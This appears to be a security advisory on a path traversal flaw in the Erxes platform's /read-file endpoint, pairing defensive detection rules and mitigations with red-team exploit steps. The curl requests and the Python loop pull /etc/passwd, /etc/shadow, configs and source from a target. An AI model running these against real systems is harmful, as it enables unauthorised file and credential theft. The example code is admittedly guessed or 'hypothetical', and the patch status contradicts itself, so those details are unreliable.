CVE-2024-57186

Executive Summary

CVE-2024-57186 is a critical path traversal vulnerability in Erxes, an open-source customer engagement platform. An unauthenticated attacker can exploit the /read-file endpoint to read arbitrary files from the server's filesystem. This can lead to the disclosure of sensitive configuration files, source code, credentials, and other confidential data. The vulnerability exists in Erxes versions prior to 1.6.2. No official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical impact is severe.

Supply Chain & Package Security

Erxes is a Node.js application distributed via npm and GitHub. The vulnerable component is the backend API server. Organizations using Erxes should immediately assess their exposure and apply virtual patching or WAF rules until an official fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit and requires no authentication. An attacker can read any file the web server process has access to, including /etc/passwd, application configuration files, and potentially source code.

Deep Dive & Mechanics

The vulnerability resides in the /read-file endpoint handler. The application fails to properly sanitize user-supplied input used to construct file paths. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended directory and read arbitrary files.

Root Cause: The endpoint likely uses a function like fs.readFileSync() or fs.createReadStream() with a path constructed from user input without validation. For example:

app.get('/read-file', (req, res) => {
  const filePath = req.query.path;
  // No sanitization
  const content = fs.readFileSync(filePath, 'utf8');
  res.send(content);
});

An attacker can send a request like:

GET /read-file?path=../../../../etc/passwd

This will read the /etc/passwd file and return its contents.

Vulnerable vs. Patched Code

Vulnerable Code (Erxes < 1.6.2):

// Vulnerable endpoint
app.get('/read-file', (req, res) => {
  const filePath = req.query.path;
  // No validation or sanitization
  const content = fs.readFileSync(filePath, 'utf8');
  res.send(content);
});

Patched Code (Erxes >= 1.6.2 - hypothetical):

const path = require('path');
const ALLOWED_DIR = path.join(__dirname, 'public');

app.get('/read-file', (req, res) => {
  const requestedPath = req.query.path;
  // Resolve and sanitize
  const safePath = path.resolve(ALLOWED_DIR, requestedPath);
  // Ensure the resolved path is within the allowed directory
  if (!safePath.startsWith(ALLOWED_DIR)) {
    return res.status(403).send('Forbidden');
  }
  // Check if file exists and is a file
  if (!fs.existsSync(safePath) || !fs.statSync(safePath).isFile()) {
    return res.status(404).send('Not Found');
  }
  const content = fs.readFileSync(safePath, 'utf8');
  res.send(content);
});

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Erxes < 1.6.2
• Network access to the /read-file endpoint

Exploit Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/read-file?path=test.txt"
   

   If the server returns a file or an error, it is likely vulnerable.

2. Read sensitive files:

   # Read /etc/passwd
   curl "http://target.com/read-file?path=../../../../etc/passwd"
   
   # Read application configuration
   curl "http://target.com/read-file?path=../../../../etc/erxes/config.json"
   
   # Read source code
   curl "http://target.com/read-file?path=../../../../app/server.js"
   

3. Automated exploitation with Python:

   import requests
   
   target = "http://target.com"
   files_to_read = [
       "../../../../etc/passwd",
       "../../../../etc/shadow",
       "../../../../etc/erxes/config.json",
       "../../../../app/server.js"
   ]
   
   for file in files_to_read:
       r = requests.get(f"{target}/read-file", params={"path": file})
       if r.status_code == 200:
           print(f"[+] {file}:\n{r.text}\n")
       else:
           print(f"[-] {file}: {r.status_code}")
   

Blue Team (Defensive)

Detection:

• Monitor for requests to /read-file with path traversal sequences (../, ..\\, %2e%2e%2f).
• Alert on HTTP 200 responses from /read-file for non-standard file extensions (e.g., .json, .conf, .py, .js).

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Apply virtual patching by restricting access to the /read-file endpoint to authenticated users only.
• If possible, disable the endpoint entirely until an official patch is applied.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /read-file with path parameter containing ../ or ..\\
• Repeated requests to /read-file with different file paths
• Outbound data transfers containing sensitive file contents (e.g., /etc/passwd)

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application configuration files
• Log entries showing fs.readFileSync or fs.createReadStream calls with suspicious paths

Log Examples:

GET /read-file?path=../../../../etc/passwd HTTP/1.1" 200
GET /read-file?path=../../../../etc/shadow HTTP/1.1" 200

Detection Engineering

YARA Rule

rule CVE_2024_57186_Path_Traversal {
   meta:
      description = "Detects path traversal attempts targeting Erxes /read-file endpoint"
      author = "Valters IT"
      date = "2025-04-10"
      reference = "CVE-2024-57186"
   strings:
      $traversal1 = "../"
      $traversal2 = "..\\"
      $traversal3 = "%2e%2e%2f"
      $traversal4 = "%2e%2e/"
      $endpoint = "/read-file"
   condition:
      any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2024-57186 Path Traversal in Erxes /read-file
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against Erxes /read-file endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57186
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/read-file'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in application logic (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57186 Erxes Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/read-file"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1; reference:cve,2024-57186;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /read-file endpoint if not required for business operations.
2. Apply WAF rules to block path traversal patterns.
3. Restrict access to the endpoint to authenticated users only.

Long-term Fix:

• Upgrade to Erxes version 1.6.2 or later once a patch is released.
• Implement input validation and sanitization for all file path parameters.
• Use a whitelist of allowed files or directories.
• Run the application with the least privileges necessary.

Workaround:

• If upgrading is not possible, modify the source code to sanitize the path parameter as shown in the patched code example.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert